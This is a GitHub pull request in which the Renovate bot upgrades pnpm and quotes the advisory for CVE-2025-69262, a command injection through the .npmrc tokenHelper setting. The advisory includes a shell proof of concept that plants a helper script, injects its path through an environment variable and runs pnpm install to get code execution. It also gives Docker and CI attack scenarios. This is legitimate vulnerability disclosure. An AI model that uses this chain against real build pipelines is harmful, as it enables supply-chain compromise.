Skip to content

Conversation

@renovate
Copy link
Contributor

@renovate renovate bot commented Jan 8, 2026

This PR contains the following updates:

Package Change Age Confidence
pnpm (source) 10.26.210.27.0 age confidence

pnpm vulnerable to Command Injection via environment variable substitution

CVE-2025-69262 / GHSA-2phv-j68v-wwqx

More information

Details

Summary

A command injection vulnerability exists in pnpm when using environment variable substitution in .npmrc configuration files with tokenHelper settings. An attacker who can control environment variables during pnpm operations could achieve remote code execution (RCE) in build environments.

Affected Components
  • Package: pnpm
  • Versions: All versions using @pnpm/config.env-replace and loadToken functionality
  • File: pnpm/network/auth-header/src/getAuthHeadersFromConfig.ts - loadToken() function
  • File: pnpm/config/config/src/readLocalConfig.ts - .npmrc environment variable substitution
Technical Details
Vulnerability Chain
  1. Environment Variable Substitution

    • .npmrc supports ${VAR} syntax
    • Substitution occurs in readLocalConfig()
  2. loadToken Execution

    • Uses spawnSync(helperPath, { shell: true })
    • Only validates absolute path existence
  3. Attack Flow

.npmrc: registry.npmjs.org/:tokenHelper=${HELPER_PATH}
   ↓
envReplace() → /tmp/evil-helper.sh
   ↓
loadToken() → spawnSync(..., { shell: true })
   ↓
RCE achieved
Code Evidence

pnpm/config/config/src/readLocalConfig.ts:17-18

key = envReplace(key, process.env)
ini[key] = parseField(types, envReplace(val, process.env), key)

pnpm/network/auth-header/src/getAuthHeadersFromConfig.ts:60-71

export function loadToken(helperPath: string, settingName: string): string {
  if (!path.isAbsolute(helperPath) || !fs.existsSync(helperPath)) {
    throw new PnpmError('BAD_TOKEN_HELPER_PATH', ...)
  }
  const spawnResult = spawnSync(helperPath, { shell: true })
  // ...
}
Proof of Concept
Prerequisites
  • Private npm registry access
  • Control over environment variables
  • Ability to place scripts in filesystem
PoC Steps
##### 1. Create malicious helper script
cat > /tmp/evil-helper.sh << 'SCRIPT'

#!/bin/bash
echo "RCE SUCCESS!" > /tmp/rce-log.txt
echo "TOKEN_12345"
SCRIPT
chmod +x /tmp/evil-helper.sh

##### 2. Create .npmrc with environment variable
cat > .npmrc << 'EOF'
registry=https://registry.npmjs.org/
registry.npmjs.org/:tokenHelper=${HELPER_PATH}
EOF

##### 3. Set environment variable (attacker controlled)
export HELPER_PATH=/tmp/evil-helper.sh

##### 4. Trigger pnpm install
pnpm install  # RCE occurs during auth

##### 5. Verify attack
cat /tmp/rce-log.txt
PoC Results
==> Attack successful
==> File created: /tmp/rce-log.txt
==> Arbitrary code execution confirmed
Impact
Severity
  • CVSS Score: 7.6 (High)
  • CVSS Vector: cvss:3.1/AV:L/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H
Affected Environments

High Risk:

  • CI/CD pipelines (GitHub Actions, GitLab CI)
  • Docker build environments
  • Kubernetes deployments
  • Private registry users

Low Risk:

  • Public registry only
  • Production runtime (no pnpm execution)
  • Static sites
Attack Scenarios

Scenario 1: CI/CD Supply Chain

Repository → Build Trigger → pnpm install → RCE → Production Deploy

Scenario 2: Docker Build

FROM node:20
ARG HELPER_PATH=/tmp/evil
COPY .npmrc .
RUN pnpm install  # RCE

Scenario 3: Kubernetes

Secret Control → Env Variable → .npmrc Substitution → RCE
Mitigation
Temporary Workarounds

Disable tokenHelper:

##### .npmrc
##### registry.npmjs.org/:tokenHelper=${HELPER_PATH}

Use direct tokens:

//registry.npmjs.org/:_authToken=YOUR_TOKEN

Audit environment variables:

  • Review CI/CD env vars
  • Restrict .npmrc changes
  • Monitor build logs
Recommended Fixes
  1. Remove shell: true from loadToken
  2. Implement helper path allowlist
  3. Validate substituted paths
  4. Consider sandboxing
Disclosure
  • Discovery: 2025-11-02
  • PoC: 2025-11-02
  • Report: [Pending disclosure decision]
References
Credit

Reported by: Jiyong Yang
Contact: sy2n0@​naver.com

Severity

  • CVSS Score: 7.5 / 10 (High)
  • Vector String: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


Release Notes

pnpm/pnpm (pnpm)

v10.27.0

Compare Source


Configuration

📅 Schedule: Branch creation - "" in timezone America/New_York, Automerge - Monday through Friday ( * * * * 1-5 ) in timezone America/New_York.

🚦 Automerge: Enabled.

Rebasing: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

Signed-off-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
@renovate renovate bot merged commit ff7d59e into main Jan 8, 2026
26 of 28 checks passed
@renovate renovate bot deleted the renovate/npm-pnpm-vulnerability branch January 8, 2026 18:38
@kongponents-bot
Copy link
Collaborator

🎉 This PR is included in version 1.103.3 🎉

The release is available on:

Your semantic-release bot 📦🚀

@kongponents-bot
Copy link
Collaborator

Install the preview package from this PR

@kong/spec-renderer@pr-775

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Projects

None yet

Development

Successfully merging this pull request may close these issues.

3 participants